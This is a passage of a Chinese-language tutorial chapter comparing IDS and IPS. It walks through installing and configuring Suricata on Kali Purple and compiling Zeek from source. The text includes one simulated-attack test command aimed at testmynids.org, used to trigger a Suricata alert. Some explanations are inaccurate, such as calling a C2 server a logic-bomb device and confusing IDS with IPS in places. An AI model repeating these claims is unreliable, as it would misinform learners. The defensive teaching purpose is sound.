在这里,我们将通过对比分析这些工具以及 IDS 和 IPS 系统的一般情况,帮助你决定哪个工具更适合你。阅读完本章后,你应该能更清楚地了解这些工具以及前几章提到的工具如何最好地适应你的情况(如果适用的话)。你正在开始写一份属于你自己厨房的网络防御方案。

我们将涵盖以下主题:

  • IDS

  • IPS

  • Suricata IDS/IPS 解决方案

  • Zeek IDS 解决方案

技术要求

要求如下:

  • 最低要求:一台计算设备,架构为amd64 (x86_64/64 位)i386 (x86/32 位)。它应至少配备8 GB的内存。

  • 推荐要求:根据网络安全领域从业者的反馈,建议使用amd64 (x86_64/64 位)架构,配备16 GB内存——更多内存更好——以及最多64 GB的额外磁盘空间。

IDS

IDS 是一种网络安全工具,旨在监控网络或其他技术系统的活动,以发现潜在的恶意活动和/或政策违规行为。它们可以识别未经授权的访问、设备或软件的滥用,以及网络环境中任何地方的潜在安全威胁。IDS 的主要功能是观察和报告安全事件,如未经授权的访问和政策违规,如前所述。一个主动的 IDS 还需要找到并帮助分析员防御恶意软件或其他任何物体,无论是现实的还是虚拟的,以及它们的活动。总之,它们的目的是应对任何可能威胁到网络系统正常运行和期望功能的因素。

IDS 的关键功能和能力如下:

  • 流量监控

  • 异常检测

  • 基于签名的检测

  • 实时警报

  • 日志和事件分析

  • 基于网络和主机的检测

  • 为分析员提供响应和缓解的相关信息

  • 法规合规性

  • 与安全基础设施的集成

流量监控

第六章中,我们经常讨论数据包和协议分析。这是因为 Malcolm 携带了我们将在本章讨论的工具,它们都具有 IDS 功能,类似于 Suricata,也可以配置为 IPS。尽管在采取预防措施之前需要检测这些威胁,我们稍后将讨论同时实现两者实际上是不可能的。

IDS 解决方案利用数据包分析,就像在第六章中提到的流量分析工具一样。IDS 还会结合以下几节中提到的特征,以及统计和协议分析和事件关联。

异常检测

如你所记得,异常检测是指一项技术读取当前发生的事情并记录和/或以其他方式度量它。然后,它将其归类为基准,因而视为正常行为。之后,它会将未来的行为与这个基准进行对比;当行为偏离这个常规时,它会认为该行为是异常的。

对此的更清晰的理解可能是,检测系统测量组织网络在一定时间内发生的流量量。入侵检测系统可能会意识到,每天传统的工作结束后,流量显著减少,但并没有完全消失 —— 因为总有人加班补课,对吧?然后,可能在午夜左右,流量几乎减少到几乎没有,但可能还是会有一些数据在此传输 —— 因为总有人在夜班工作,对吧?最后,IDS 可能会认识到在周末和假期活动的显著减少。所有这些都是有道理的,看起来像是正常的业务行为。IDS 会记录这种流量活动模式,并将未来的网络流量量与这个标准进行比较。因此,当在假期的凌晨 2 点突然涌入大量流量时,尤其是如果流量离开公司 —— 表明可能存在数据外泄 —— IDS 就知道这不正常。它不符合基准活动,并且基于这种异常行为发出警报。

基于签名的检测

基于签名的检测是我们简要介绍过的内容,但让我们在这里深入了解一下。在野外的任何产品或软件都有独特的特征,就像我们每个人都有独特的指纹,或者斑马有独特的条纹一样。为了识别这些网络指纹,需要正确的软件存在。对于恶意软件或恶意代码,需要有人在沙盒环境中仔细检查、捕获并分析它,或者根据研究的深度进行反向工程。

有时候,可以在不接触恶意软件本身的情况下识别出网络指纹,只需识别其展示的独特行为即可。每当一个应用程序表现出独特的行为时,我们通常将该独特行为称为其签名。基于签名的检测恰如其分:我们的 IDS 产品检查行为并将其与恶意行为的已知行为进行比较。当行为匹配时,它会触发警报。重要的是要考虑,行为本身并不一定是坏的;只是独特而已。

如果你仔细想想,我们其实已经学习了一些恶意软件特征的组成部分。任何软件签名中最常见的属性之一就是它的哈希值。哈希值是软件的指纹,是整体签名的一个重要组成部分。如果你想深入了解哈希值,可以回顾一下第三章。所以,安全系统可能会观察软件的行为,尤其是它是否尝试访问和修改 Windows 注册表。一些良性的程序可能确实需要这么做。这就是为什么它只是整体签名的一个组成部分。另一个因素可能是该软件是否正在与一个已知的恶意或可疑的外部 IP 地址进行通信。以下是一些在确定应用程序签名时可能考虑的独立属性:

  • 文件扩展名

  • 连接频率

  • 不规则的端口访问

  • 使用的加密算法

  • 载荷内容的类型

  • 载荷大小 – 判断数据包是否比典型的要大或小

注意

作为安全分析员,一个相对简单但可能具有毁灭性影响的行为是,当应用程序在精准的时间表上成功进行外部通信时,比如每 20 分钟一次,精确到秒。这种精确的行为可能表明是在进行信号传递——或者与外部指挥与控制C2)服务器进行通信。

C2 服务器是一种设置了逻辑炸弹的设备——即一组在精确时间和条件下执行恶意行为的指令。通常,恶意行为者会设置这些服务器来评估与它们进行反向通信的机器人数量。这为他们的预期僵尸网络提供了一个实时的大小指标。它们只是在等待僵尸网络足够大,然后最终会将攻击信息和指令插入到 C2 服务器中。这有点像《星际大战》中的 66 号命令。克隆兵(后来成为暴风兵)从一开始就被编程在接收到该命令时攻击绝地武士。直到那时,他们完全服从并无害。它们就像一个伪装成保护共和国军队的特洛伊木马。

恶意行为者将继续通过后门感染设备,直到成千上万台设备被感染,每次感染都会向外发信号,等待指令一起攻击目标。这就是大规模拒绝服务DoS)攻击的发生方式。当涉及到多台机器时,这种攻击被认为是工作负载分布在多台设备上的。这个过程就是分布式拒绝服务DDoS)攻击。人数越多,力量越大。DDoS 攻击非常猛烈,甚至可以摧毁最坚固的组织网络。

综合来看,所有这些不同的属性将共同作用,以确定应用程序的唯一签名。一旦确定了唯一签名,安全设备将触发警报,供分析员进行审查——以防存在具有相似或——巧合地——相同签名的良性应用程序。

实时警报

一旦入侵检测系统(IDS)识别出潜在的入侵或其他异常行为,它将立即触发警报,供分析员审查。大多数 IDS 系统会遵循预定的、已定义的流程来处理实时警报。初始警报将包含有关其检测到的事件的信息,例如入侵或威胁类型、目标或受害系统或网络,以及事件的严重性。IDS 会根据预定义的规则和安全级别对警报进行分类,这有助于它判断警报的严重性。这样,安全分析员可以理解警报的根本性质,从而确定最合适的响应级别和类型。

在初步警报分类之后,IDS 系统将实时通知指定的安全人员和/或响应团队。这些信息是 IDS 系统管理员在安全解决方案中预先确定并配置的内容。大多数 IDS 系统设计时考虑到与多种通知方法的集成,例如短信通知、电子邮件,或者将通知传递给其他安全平台以分发可疑威胁通知。

一些 IDS 解决方案会关联多个警报,以确定它们是否可能是协调攻击的一部分或某种大规模安全事件的表现。这有助于识别广泛的模式,并缩小看似无关的活动。一些 IDS 解决方案可以在内部丰富数据,而其他则可能倾向于将其传递给 Logstash 或其他数据丰富和索引的 SIEM 解决方案。

日志和事件分析

在实时告警处理之外,一个好的 IDS 还会同时进行日志和事件分析。这样做有助于发现以前可能被忽视的威胁,或者在 IDS 尚未调整到能够检测它们时发生的威胁,并有助于完善当前告警的细节,还可以协助事后评审AARs),识别根本原因,或者仅仅是改善整个事件响应过程。它将从网络设备中获取日志和事件数据,包括服务器、防火墙、终端系统以及各类安全设备,寻找 syslog 消息、系统日志、网络流量日志以及任何由网络节点生成的安全事件日志。它可能会尝试通过将日志转换为通用格式来进行日志规范化。如果没有进行规范化,可能是因为该设备已将 IDS 与其他 SIEM 产品(如 ELK 堆栈)集成,以承担这个任务。一个好的 IDS 将对日志数据进行我们目前讨论的各项功能,如与其他日志数据进行关联、检查签名、寻找异常行为等。

网络和主机基础的检测

一个好的 IDS 将同时关注网络和主机基础的检测。那么,这是什么意思呢?简单来说,我们已经涵盖了这些领域的检测内容。因此,它涉及到分类哪个类型的检测应该出现在什么位置。网络入侵检测系统NIDS)本质上是一个配置为监控网络流量的 IDS。网络检测通过数据包分析、基于签名的网络数据检测、行为偏离基线(异常行为)、实时网络监控和协议分析等方式进行揭示。相对而言,主机入侵检测系统HIDS)是一个配置在个别主机上的 IDS,主机可以是工作站、服务器或其他终端,用于监控该特定主机上的流量。基于主机的检测是指 IDS 通过系统日志筛查、检查文件完整性、监控注册表的变化和访问、应用程序行为、进程监控以及常规终端安全监控(如杀毒软件和防火墙事件)等方式进行。

响应和缓解

IDS 通过识别、优先排序和提示分析师响应的基本结构来处理响应和缓解,这些我们之前已经讨论过。更高级的 IDS 解决方案将通过事件关联、数据丰富等方式将这三个步骤提升到更深层次,为管理员提供通过隔离受感染系统实现遏制、数据/证据保存以及事后活动(例如准备审计和合规性报告)的选项。有时,这被称为事后事件分析与改进PIAR)。原理是相同的。通过这些活动,管理员可以开发桌面演练,优化检测算法,并更新分析师需遵循的事件响应手册。

合规性

IDS 解决方案在帮助组织实现合规性方面非常有益,特别是在记录保存方面。正确配置的 IDS 解决方案永远不会自动丢弃它们收集的任何数据,除非人为干预。所有数据都会被保留,除非人工决定另行处理。大多数 SOC 会根据行业和数据保留法规确定其预算,并包括货币、时间和空间/大小限制。他们将其安全监控和检测能力映射到特定的合规要求和行业标准上,还会使其告警、日志记录和事件响应流程与知名行业法规中的规定对齐,例如通用数据保护条例GDPR)、数据保护与保留DPR)、健康保险可携性与责任法案HIPAA)、支付卡行业数据安全标准PCI DSS)等。

与安全基础设施的集成

IDS 可以与组织安全基础设施的其他部分集成,如果不这么做就是愚蠢的。例如,本章后面将讨论的两个工具可以与 ELK 堆栈集成。这有助于为流量及其他元数据提供额外的自动化层级和人工安全,特别是 IDS 解决方案正在拦截和解析的内容。大多数现代安全解决方案涉及与 SIEM 或 SOAR 解决方案集成的 IPS。这样做可以让收集的数据得到进一步丰富,并以创新的方式呈现——例如,以图表和图形等视觉方式。这可以帮助分析师发现潜在威胁,超出立即可用信息的范围,比如长期趋势。例如,在图表上看到一个完美间隔的流量峰值,可能会帮助分析师发现信标流量,而如果仅仅通过查看文本日志信息,他们可能会错过。

IDS 解决方案与 IPS 解决方案一样拥有丰富的功能。如果你无法检测到你希望阻止的活动,那你就无法主动阻止它,对吧?这就是为什么你已经了解了本章每个部分的核心内容。现在,让我们继续讨论预防系统,看看其中可能存在的细微差别,从而增强我们的安全解决方案。

IPS

尽管 IPS 在功能上与 IDS 相似,但它是一个完全不同的安全解决方案。从行为学和软件工程的角度来看,IPS 的核心与 IDS 大致相同,但它的主要功能和操作模式不同。IPS 是一种先进的安全解决方案,它像 IDS 一样检测潜在威胁,但随后会采取额外的步骤,主动阻止或缓解这些威胁。它通过在主机或网络环境中强制执行安全策略和访问控制规则来实现这一点。

虽然这个产品看起来只是一个多了一个步骤的 IDS,但它远比这复杂。因为 IDS 只负责检测,管理员可以采取更谨慎的态度,在执行检测规则时可以稍微宽松一些。然而,IPS 没有这种奢侈。由于它是主动响应潜在威胁的,因此不能有任何错误,IPS 检测的规则必须更加严格。否则,合法活动可能会被阻止。

回想一下第一章,我们讨论过 CIA 三要素。你可能还记得我们提到过,三要素中的A代表资源的可用性。如果一个组织的资源遭遇中断,它可能会对组织的利润和/或声誉造成非常严重的后果。一些商业专家甚至会说,网络攻击通常比公司资源的意外中断造成的损害还要小。这是一个值得深思的问题。花点时间好好思考一下这个问题。认真地,深刻地思考这个问题,理解它将对你的网络安全职业生涯产生直接而深远的影响。

因此,IPS 检测潜在威胁的方式将与 IDS 有所不同,并且会更严格。这里的关键要点是要认识到,IDS 和 IPS 不是配置不同的相同系统;而是两个完全不同的系统,具有相似的使命。也就是说,你很快会发现 Suricata 既可以作为 IDS,也可以作为 IPS 使用。请记住,这是该品牌的独特功能。你可以认为,IPS 只有在首先检测到威胁的情况下才有可能——从技术上讲,这是正确的。然而,这是一种完全不同的检测方式。Suricata 不会同时作为传统的 IDS 和 IPS 使用。它需要单独管理。本章讨论的另一种解决方案——Zeek——仅作为 IDS 解决方案。

IPS 与 IDS 共享所有关键功能。以下是一些额外值得注意的功能:

  • 实时威胁预防

  • 自动响应

  • 策略执行

  • 内联保护

  • 应用层保护

  • 性能优化

实时威胁预防

IDS 通过应用预定义的流量处理规则来接近实时威胁预防,类似于 IDS,但通常更为详细。由于 IPS 在没有实时人工审批的情况下运行,其规则通常更加精确,响应方式的选项也更多。你可能会认为它和 IDS 一样,能够自动阻止威胁,但实际上不止如此。IPS 会自动响应,但这并不意味着它一定会阻止潜在威胁。如前所述,我们必须小心不要对组织资源产生不利影响。IPS 工具还可以通过丢弃、修改、重定向或隔离流量来响应。这有助于在不明显关闭组织资源的情况下中和或隔离威胁。

自动响应

IDS 的整体目的是减轻组织对人工操作员的成本。通过自动化,这样就少了一个需要支付薪水的人——理论上是这样。通常,组织会发现,维护自动化几乎只能覆盖人工值守的成本。然而,自动化响应的另一个好处是,它消除了人为判断错误的可能性。计算机按我们告诉它的方式思考。如果我们为恶意活动创建了自动响应并经过经验丰富的专业人员审核,那么技术就可以在没有任何人类质疑或争论响应是否正确的情况下进行识别和响应。从自动化创建者的角度来看,它是正确的!

策略执行

由于 IDS 仅进行检测,因此实际上无法执行任何操作。然而,IPS 可以具有自动化功能和与主机组织政策相匹配的规则,这样就能涵盖任何所需的监管政策以及组织定义的客户政策。这对首席信息安全官CISO)和其他高管来说是一个巨大的宽慰,因为意外的政策违规,特别是如果涉及到法律,可能会带来灾难性的后果。依靠 IPS 的黑白分明的自动化脚本可以以这种方式保护组织。

内联保护

内联部署,也称为主动监控,是 IDS 不需要考虑的事情,但对于 IPS 来说,这会带来巨大的价值。那么,这是什么呢?它是适当部署 IPS 的一个非常关键的方面。即 IPS 解决方案本身被放置在网络流量路径的前方,使得任何类型的流量在进出网络之前几乎不可能不经过安全解决方案。可以把它想象成一个交通部门的员工站在高速公路中间读取车牌号(绝对不推荐)。

应用层保护

尽管 IDS 解决方案在一定程度上可以提供应用层监控,但 IPS 解决方案通常更为擅长检查该层的流量,因为响应和防止威胁通常需要直接访问应用层。这可能包括识别和阻止潜在的恶意活动,如 SQL 注入、跨站脚本攻击、服务器端请求伪造、命令注入、缓冲区溢出和数据外泄活动。这些活动都利用了应用程序中的安全漏洞,而要使 IPS 作出反应,它必须在适当的位置进行识别和处理。

性能优化

从技术角度看,IDS 也提供了一定程度的性能优化。然而,我们将它放在这一部分,因为 IPS 解决方案在这方面提供了更高质量、更强大的功能。IPS 解决方案通过更高效的流量检测来提升性能,甚至比 IDS 解决方案更为高效。这意味着什么呢?这只是说,IPS 能够完成工作,而不会像其他解决方案那样让流量检查拖慢网络速度。它们通常被编程为在使用最少的 RAM 和 CPU 资源的情况下执行功能。当然,一个好的 IPS 解决方案不会牺牲工作的质量来换取这种效率。IPS 解决方案通常被设计为能够利用多核 CPU 的设备,使得其功能的不同方面可以通过不同的核心同时处理——这一过程称为多线程。当访问磁盘时,IPS 解决方案会利用异步流量传输方法。因为 IPS 解决方案通常更有可能位于网络的“中间地带”,正如我们之前讨论的那样,开发人员往往更加关注提高操作效率,而其姊妹产品 IDS 解决方案往往被忽视。当然,这并不总是如此。它只是安全解决方案中出现的一个自然趋势,所以在决定使用哪种解决方案时要特别注意。理想情况下,我们建议你不要仅仅根据现在所读内容决定选择哪种解决方案,而是亲自测试不同的解决方案,看看哪个最适合你。

至此,你已经了解了 IPS 解决方案如何在 IDS 解决方案的基础上提供简单的提升,但在部署时,它们所需的思维方式和配置仍然要复杂得多。你已经发现,这需要一种更加精确的思考方式,而且你必须绝对、坚决地考虑 CIA 三元组中的A——保护组织资源的可用性至关重要。

Suricata

Suricata 是一个非常受欢迎的开源网络安全解决方案,可以配置为 IDS、IPS 以及网络安全监控NSM)引擎。它的设计目标是具有极快的速度、高效性,并且在检测计算机网络中的入侵和恶意活动方面极为准确。Suricata 能够进行实时流量分析,从而可以在安全威胁发生时及时检测并响应。Suricata 可以用于保护网络免受广泛的威胁,包括恶意软件、漏洞利用、D/DoS 攻击等。

Suricata 提供的功能几乎涵盖了我们刚才讨论的所有 IDS 和 IPS 主题。我们会引导你进行设置。如果你决定将其作为网络流量防御解决方案,你将需要牢记 Suricata 在以下几个领域的优势:

  • 基于签名的检测

  • 协议分析

  • 文件提取

  • SSL/TLS 检查

  • 支持多种网络协议

  • 多线程和多核处理以提高性能

  • 实时流量分析

  • 网络入侵检测

  • 网络入侵防御

  • 网络安全监控

花点时间将这些不同的概念与您的个人和/或组织需求相匹配。然后,如果您想使用 Suricata,请按照以下步骤操作:

  1. 启动您的 Kali Purple 虚拟机。

  2. 登录到您的 Purple 实例。

  3. 打开一个终端窗口。

  4. 输入sudo apt update

  5. 输入sudo apt upgrade

  6. 输入sudo apt install suricata。在安装 Suricata 时请确保注意,因为您可能会遇到依赖性错误,如图 7.1所示。您需要做的就是阅读错误信息,它会告诉您如何修复它。在这种情况下,错误信息表示缺少libnetfilter-queue1包。那么,我们该如何修复这个问题呢?没错!我们只需输入sudo apt install libnetfilter-queue1来安装该包。太简单了:

图 7.1 – Suricata 安装依赖性错误

图 7.1 – Suricata 安装依赖性错误

  1. 输入sudo systemctl enable suricata

  2. 输入sudo systemctl start suricata

  3. 输入sudo systemctl status suricata

  4. 按下Ctrl + Z按需中断。

  5. 输入sudo systemctl daemon-reload

  6. 重启您的 Kali Purple 实例,以确保daemon-reload被识别。

Suricata 的配置选项非常庞大,因此我们这里只提供您需要的基础内容,帮助您将其启动、运行并进行测试。如需更高级的选项,您可以参考进一步阅读部分中的链接,若您决定将 Suricata 部署为 IDS/IPS 解决方案。

在生产环境中,最常见的将 Suricata 添加到您的网络防御包中的方式是将其放置在您组织网络边界的服务器上。然而,这取决于您打算如何使用该产品。例如,如果您仅希望用它来保护和监控 VPN 流量,那么它应当被放置在 VPN 结构中以确保最佳安全性。在某些情况下,它可以用作 HIDS,这时您应该直接将其放置在您希望保护的主机上。最后,如果您的技术是以云为中心的,您应该根据实际情况,将 Suricata 放置在尽可能靠近云边界的位置。

Suricata 可以作为 IDS 部署,也可以作为 IPS 部署。IDS 被称为被动部署,而 IPS 也被称为内联部署主动部署。一旦您确定了 Suricata 在网络中的正确位置,接下来您就需要配置它。在我们的案例中,我们是在 Kali Purple 环境中进行配置的。

要配置 Suricata,您需要从您安装它的设备获取一些数据:

  1. 打开一个终端窗口。

  2. 输入ifconfig并记录eth0接口的 IP。

  3. 或者,输入ip a s来获取您网络的完整范围。记录下该范围。

  4. 如果你想进入你正在编辑的文件所在的目录,输入cd /etc/suricata,然后输入sudo nano suricata.yaml。请注意,YAML 文件的扩展名是.yaml,而不是我们通常使用的.yml

  5. 如果你喜欢远程编辑,可以输入sudo nano /etc/suricata/suricata.yaml

图 7.2 – Suricata 文件路径和 YAML 文件访问

图 7.2 – Suricata 文件路径和 YAML 文件访问

无论哪种方式都可以。Suricata 配置文件现在应该已经打开。你需要使用箭头键向下滚动,直到找到vars:字段。紧接着该字段的是address-groups:,后面跟着一系列HOME_NET:字段,如图 7.3所示。修改这些字段的值,使其包含你刚刚记录的 IP 地址。通常,地址越具体,解决方案越高效。然而,出于培训目的,使用网络范围和/或取消注释值为“any”的行是没有害处的。如果该行不存在,你可以添加一行。

  1. 查找vars:address-groups:HOME_NET:字段:

图 7.3 – Suricata 配置文件

图 7.3 – Suricata 配置文件

  1. 现在,你需要确保你的主接口列出为 Suricata 执行某些功能的值。如果你按照 VirtualBox VM 中的运行示例进行操作,这个值应该是eth0。在使用 nano 编辑这类长文件时,可以通过按Ctrl + W并输入你要搜索的值来跳到文件中的相关部分。现在试试看,按下Ctrl + W并输入af-packet作为搜索值。当你按下Enter键时,它应该会将你带到文件中的af-packet字段。确保该字段的值是eth0或者你之前记录的主网络接口:

图 7.4 – Suricata af-packet 配置

图 7.4 – Suricata af-packet 配置

  1. 按下Ctrl + W并输入pcap作为你的搜索词。确保该值也设置为你的主接口值:

图 7.5 – Suricata pcap 配置

图 7.5 – Suricata pcap 配置

  1. Ctrl + W并输入community-id作为搜索词。将该值设置为true

图 7.6 – Suricata community-id 配置

图 7.6 – Suricata community-id 配置

编辑完配置文件后,你可以按Ctrl + X保存文件,然后在提示时按Y确认保存。

现在,我们来回顾一下 Suricata 设置中的一些有趣选项。首先,让我们确保我们的 Suricata 规则集是最新的。输入 sudo suricata-update 并等待直到时间戳显示 Done。接下来,要获取规则选项列表,输入 sudo suricata-update list-sources;屏幕应显示一个潜在规则的列表,包括原始规则创建者的供应商、规则的摘要、可能适用的任何许可证类型以及有关规则的其他特殊参数或订阅信息,如 图 7.7 所示:

图 7.7 – Suricata 内部可选规则集列表

图 7.7 – Suricata 内部可选规则集列表

要启用在输入上述命令时返回的任何规则集,请键入 sudo suricata-update enable-source ,其中 source-nameName: 行后列出的值,如 图 7.7 所示。完成此操作后,您需要通过再次输入 sudo suricata-update 来更新 Suricata,以便它识别您的规则更改。您应该在屏幕输出中看到更新的反映。

在进行一些有趣的活动之前,让我们快速测试一下配置。要测试 Suricata 配置,请键入 sudo suricata -T -c /etc/suricata/suricata.yaml -v;它应该返回类似于 图 7.8 所示的结果:

图 7.8 – Suricata 配置测试结果

图 7.8 – Suricata 配置测试结果

如果一切正常,且你的配置已经成功测试,请继续进行下一步。如果不行,请返回并进行故障排除,确保你的安装已准备好并通过了前面的测试,然后再尝试继续。否则,是时候释放我们内心的恶魔,模拟一次针对我们的 IDS/IPS 解决方案的攻击了!在命令行中,从终端命令提示符输入 curl http://testmynids.org/uid/index.xhtml —— 不是在浏览器中,而是在终端中——来发起一次自我攻击。当你输入这个命令时,应该会在命令提示符中看到类似 uid=0(root) gid=0(root) groups=0(root) 的反馈。这个反馈没有太大帮助,对吧?那是因为我们应该查看的地方是在日志中,看看是否有发生过任何事件。请花点时间思考这个问题。什么是 SIEM?SIEM 是做什么的?更广泛地说,大多数安全解决方案做的是什么?它们评估日志数据,对吧?要查看此场景中的日志,输入 sudo cat /var/log/suricata/fast.log 并仔细观察结果!屏幕将显示该日志文件的内容。如果你查看 图 7.9 的最后一行数据,你会看到 Suricata——在这个例子中作为 IDS 操作——成功检测到了我们刚刚模拟的攻击!如果你得到了相同的结果,恭喜你!你已经成功设置并配置了一个合适的网络防御系统,使用的是 Suricata:

图 7.9 – Suricata 日志检测模拟攻击

图 7.9 – Suricata 日志检测模拟攻击

如果你没有得到相同的结果,我们强烈建议你回溯你的步骤并重新开始,这次也许可以打开一个文本文档,或者拿支铅笔和纸,在每一步完成后立即记录下你所采取的每个动作。每一步都要仔细检查拼写、空格和文件系统中的位置。完整的文件路径是否已正确设置权限?回顾前面的章节和部分,查阅关于 CHMOD 和 CHOWN 的信息,或者更好的是,去你最喜欢的搜索引擎或 AI 聊天机器人那里搜索。AI 聊天机器人在研究错误时非常有用。如果你需要入门,试试 Google Gemini 或 Microsoft Copilot。

正如你所见,Suricata 是一个非常强大的 IDS/IPS。它在开源软件社区中有着忠实的追随者,并且以高质量著称。然而,它并不是唯一的安全解决方案。接下来的部分,我们将介绍 Zeek,它在写作时仅作为一个 IDS 使用,但得到了来自高学历专业人士的强力支持。

Zeek

Zeek,前身为 Bro,是一款开源的网络安全监控工具,提供强大的网络流量分析平台。在第六章中,我们解释了它是 Malcolm 工具套件的一部分。Zeek 被动监控网络数据包,然后生成高层次的日志,记录网络活动的详细信息。Zeek 仅作为 IDS 解决方案,但不要因此低估它。并非每个人都认为 IPS 解决方案对其业务需求有益,因此,在这方面,Zeek 可能是你或你所在组织的更好选择。它还被设计得非常灵活且可定制。Zeek 允许用户创建自定义脚本和插件以扩展其功能。它还可以分析网络协议,检测并记录安全事件,并提供与 Suricata 同样宝贵的网络行为洞察。请记住,所有这些自定义和扩展性都需要付出更复杂的设置过程作为代价。

像 Suricata 和 Arkime 一样,Zeek 是 Malcolm 套件的一部分。如果你已经按照上一章的内容启动并运行了 Docker Compose 镜像,那么你只需要登录到 Malcolm 仪表板(如果需要复习如何操作,请参考第六章)并探索它。特别注意左侧栏中与 Zeek 相关的选项,如 图 7.10 中突出显示的内容:

图 7.10 – Malcolm 仪表板突出显示 Zeek 功能

图 7.10 – Malcolm 仪表板突出显示 Zeek 功能

如果你想在 Malcolm 外部操作,没问题!我们将一起展开一场冒险。获取和设置 Zeek 与我们之前讲解的任何内容都大不相同。因为它有几个依赖项,你需要先获取并设置这些依赖项。然后,你将不再安装可执行版本的产品,而是需要获取源代码并自行编译!如果你不熟悉编译应用程序,我们会简要概述这意味着什么。

如果你没有计算机编程和软件开发经验,请知道开发者可以使用不同的编程语言来编写创建他们产品的代码。编程语言种类繁多,成千上万种。它们存在的目的只是帮助程序员以不同的效率和创作逻辑完成工作。实际上,这些语言最终都会在后端以相同的方式运行——即计算机能够读取和理解的端。所有这些不同的编程语言的共同点在于,它们必须从开发者使用的语言翻译成计算机能够理解的通用语言,这被称为机器语言。机器语言以二进制代码的形式存在。它就是你在流行文化中听到的“1”和“0”,这些数字代表了技术话题中的基本内容。

将这种代码从开发者使用的语言转化为机器语言的过程被称为编译。这是对该概念的非常简化的理解。编译的完整过程还包括自动化的错误检查,并将开发者创建的代码与预先编写的通用代码(被称为库)进行链接等任务。这些都会发生在我们编译 Zeek 分发版时。如果你仔细观察 Kali Purple 编译 Zeek 的过程,你会在终端窗口的输出中看到这些操作。

目前,获取源代码的一种非常流行的现代方法是访问 GitHub。我们将从那里获取 Zeek 的副本。然而,在那之前,我们需要抓取一些附加应用程序,因为上述提到的依赖项。此外,你可能希望确保文件路径是可用的并且是空的。虽然这对我们来说不太可能成为问题,但作为最佳实践,养成这个习惯是很好的。Zeek 文件结构可能已经在之前的活动中被创建,并可能会影响我们接下来要做的工作。

你需要在这里稍微费点劲。或者,你也可以先尝试安装这些依赖项,并等待查看 Kali Purple 是否会在你克隆 GitHub 目录时通知你任何冲突。否则,如果你是那种谨慎的人,你可以从使用 Linux 文件和目录删除命令开始。此外,现在正是提到 Zeek 提供了一个非常有用且全面的在线手册的好时机。你可以在本章的 进一步阅读 部分找到它,以及由明尼苏达大学提供的 Linux 备忘单链接,帮助你处理文件和目录。

当你准备好开始时,启动 Kali Purple 虚拟机实例,登录并打开一个终端窗口。以下命令将为你获取所需的依赖项并编译它们。在这里,make 命令告诉 Kali Purple 为你编译这些产品。在此之前,不要尝试安装和运行 Zeek。

输入以下命令来获取必需的依赖项:

sudo apt-get install cmake make gcc g++ flex libfl-dev bison libpcap-dev libssl-dev python3 python3-dev swig zlib1g-dev

请注意,前面列出的依赖项中的最后一个应用程序名称中有两个竖线字符。第一个 – 在 z 和 i 之间 – 是小写字母 L,第二个 – 在 b 和 g 之间 – 是数字 1。

可选依赖项 放在同一句话中听起来有些傻,但有些依赖项确实被视为可选的。用 C3PO 的话说,“这太变态了?!”作为良好的实践,让我们抓取这些依赖项。

输入以下命令来获取可选依赖项:

sudo apt-get install python3-git python3-semantic-version

现在,是时候召唤真正的“龙”了。我们将从 GitHub 的 Zeek 仓库克隆整个目录。我们只会克隆一次。尽管创建我们自己的 Stormtroopers 军队只为听到 C3PO 说“这太变态了?!”会非常激动人心,但我们实际上只需要一个副本。

输入以下命令以从 GitHub 克隆 Zeek 源代码:

git clone --recurse-submodules https://github.com/zeek/zeek

完成此操作后,你需要找到默认的安装目录。在我们的例子中,它被安装在/home/karllane/zeek。然而,你可能会找到它在/usr/local/zeek/opt/zeek/opt/bro中。为了简化这个过程,你可以通过输入locate 来进行搜索。在这种情况下,使用 Zeek 作为 locate 关键字会返回一个巨大的可能位置列表。你可以通过尝试查找Makefileconfigure文件来缩小范围,这样会返回系统中所有该名称的文件。当你找到一个包含INSTALLMakefileconfigurecmakebuild以及类似zeek-path-dev.in和一堆读文件的目录时,就可以停下来了。那就是你要找的目录!导航到该目录。作为良好的实践,你应该位于编译目录中。为了让你的生活更轻松,你应该启动自动配置脚本。输入./configure;这应该会启动该脚本。如果你遇到配置脚本的问题,你需要回到流程的开始,仔细检查每个依赖项是否已安装。如果没有,安装它们,并在每次安装后输入sudo make,以确保它们已被单独安装。

否则,一旦配置完成,你将需要编译 Zeek 分发版。输入sudo make并准备等待一段时间。幸运的是,你的终端窗口应该会在每行的开头显示一堆百分比,以便你了解编译进度。make 只是将代码编译成最终的可执行文件。一旦完成,你仍然需要将可执行文件安装到本地 Kali Purple 系统的目录结构中,才能访问它。为此,输入sudo make install ——同样,你可能需要等待一段时间才能完成该过程。

当你完成时,你的终端窗口应类似于图 7.11所示,其中会显示你已完成的消息,并提供某些目录的不同文件路径。它还会告诉你构建文件的位置:

图 7.11 – Zeek 的成功编译

图 7.11 – Zeek 的成功编译

我们无法详细讲解 Zeek 安装过程中的所有自定义和可选设置。如果你选择使用该产品而非 Suricata,我们强烈建议你花些时间阅读 Zeek 提供的文档,以解决你独特的需求。

为了帮助你更好地了解,我们来讨论一下 Zeek 与 Suricata 的一些不同之处:

  • 协议分析:Zeek 更倾向于专注于脚本驱动的协议分析,允许熟练的用户创建自定义脚本进行协议解析、事件生成和元数据提取,而 Suricata 则依赖数字签名,专注于基于规则的协议分析检测。

  • 自定义脚本:还记得我们刚才谈到的世界上成千上万种编程语言吗?嗯,脚本就是一种编程语言,而 Zeek 有自己独特的脚本语言!它基于其前身 Bro 的脚本语言,并允许直接访问网络协议和流量。这提供了最大的灵活性和定制性,但如果编写脚本的人不是一个称职的开发者,可能会带来损害的风险。Suricata 支持更为知名的 Lua 脚本语言,并依赖我们在讨论编译时提到的外部库。这在一定程度上限制了原创性,但提供了更安全的更难破解的安全性。

  • 网络取证:Zeek 的方法是让你深入挖掘全面的元数据提取和日志分析,以便你能够重建和生成完整的活动生命周期进行审查。另一方面,Suricata 专注于获取现成的信息,以便进行即时的实时响应。这两种风格各有优点。问问自己,是希望立即关闭潜在的坏分子,尽管这样可能会误伤好人,还是希望专注于深入的准确性,以便在未来准备和防御坏行为,但也有可能在你能够阻止他们之前,某个技术高超的坏分子有足够的时间造成损害?两者各有千秋,取决于你自己的视角。

  • 可扩展性:这是一个比其他方面更具技术性的对比,但仍然值得提及。Zeek 是一个基于集群的 IDS 解决方案。在这方面,它与 Elasticsearch 相似。通过在集群中处理数据,Zeek 可以根据需要水平扩展,从而分配计算能力。请记住,集群可以位于完全不同的物理设备上,如果配置得当,可以允许硬件升级和/或维护在无需关闭软件解决方案的情况下进行!

